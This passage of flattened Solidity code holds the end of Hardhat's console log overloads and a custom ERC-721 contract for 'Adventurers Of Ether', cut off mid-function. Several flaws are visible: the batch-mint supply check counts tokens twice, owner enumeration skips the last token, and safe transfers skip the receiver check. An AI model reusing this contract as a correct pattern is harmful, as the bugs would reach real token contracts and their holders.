_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.11; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/interfaces/IERC165.sol"; /** * @notice EIP-721 implementation of Adventurers Token */ abstract contract ERC721 is IERC721Enumerable, IERC721Metadata, Ownable { string public constant NAME = "Adventurers Of Ether"; string public constant SYMBOL = "KOE"; uint private constant MAX_SUPPLY = 6001; // +1 extra 1 for < /* state */ uint256 public maxSupply = 3000; uint private minted; // count of minted tokens mapping(address /* minter */ => /* minted tokes count */ uint) public minters; address[MAX_SUPPLY] private owners; mapping(address /* owner */ => /* tokens count */ uint) private balances; mapping(uint /* token */ => /* operator */ address) private operatorApprovals; mapping(address /* owner */ => mapping(address /* operator */ => bool)) private forallApprovals; constructor() {} function setMaxSupply(uint256 _maxSupply) external onlyOwner { require(_maxSupply < MAX_SUPPLY, "max supply exceeded"); maxSupply = _maxSupply; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || interfaceId == type(IERC165).interfaceId; } /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() public view returns (uint256) { return minted; } function _mint(address _to, uint256 _amount) internal returns (uint _oldIndex, uint _newIndex) { uint256 _minted = minted; require(_minted + _amount - 1 < maxSupply, "tokens are over"); for (uint256 i = 0; i < _amount; i++){ _minted++; owners[_minted] = _to; emit Transfer(address(0), _to, _minted); } minters[_to] += _amount; balances[_to] += _amount; minted = _minted; return (_minted - _amount, _minted); } function _mintBatch(address[] memory _to, uint[] memory _amounts) internal returns (uint _oldIndex, uint _newIndex) { require(_to.length == _amounts.length, "array lengths mismatch"); uint256 _minted = minted; uint _total = 0; for (uint i = 0; i < _to.length; i++) { uint _amount = _amounts[i]; address _addr = _to[i]; _total += _amount; //minters[_addr] += _amount; balances[_addr] += _amount; for (uint256 j = 0; j < _amount; j++){ _minted++; owners[_minted] = _addr; emit Transfer(address(0), _addr, _minted); } } require(_minted + _total < maxSupply, "tokens are over"); minted = _minted; return (_minted - _total, _minted); } function exists(uint256 _tokenId) public view returns (bool) { return ((minted + 1) > _tokenId) && (_tokenId > 0); } /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) { uint _ix = 0; for (uint _tokenId = 1; _tokenId < minted; _tokenId += 1) { if (owners[_tokenId] == _owner) { if (_ix == _index) { return _tokenId; } else { _ix += 1; } } } return 0; } /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 _index) external pure returns (uint256) { return _index; } /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address _owner) public view returns (uint256 _balance) { _balance = balances[_owner]; } /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 _tokenId) public view returns (address _owner) { _owner = owners[_tokenId]; } /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes memory _data ) public { _transfer(_from, _to, _tokenId, _data); } /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address _from, address _to, uint256 _tokenId ) public { _transfer(_from, _to, _tokenId, ""); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public { _transfer(_from, _to, _tokenId, ""); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address _from, address _to, uint256 _tokenId, bytes memory ) internal { address _owner = ownerOf(_tokenId); require(msg.sender == _owner || getApproved(_tokenId) == msg.sender || isApprovedForAll(_owner, msg.sender), "erc-721: not owner nor approved"); require(_owner == _from, "erc-721: not owner"); require(_to != address(0), "zero address"); operatorApprovals[_tokenId] = address(0); owners[_tokenId] = _to; balances[_from] -= 1; balances[_to] += 1; emit Transfer(_from, _to, _tokenId); } /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address _to, uint256 _tokenId) external { address _owner = ownerOf(_tokenId); require(_owner != _to, "erc-721: approve to caller"); 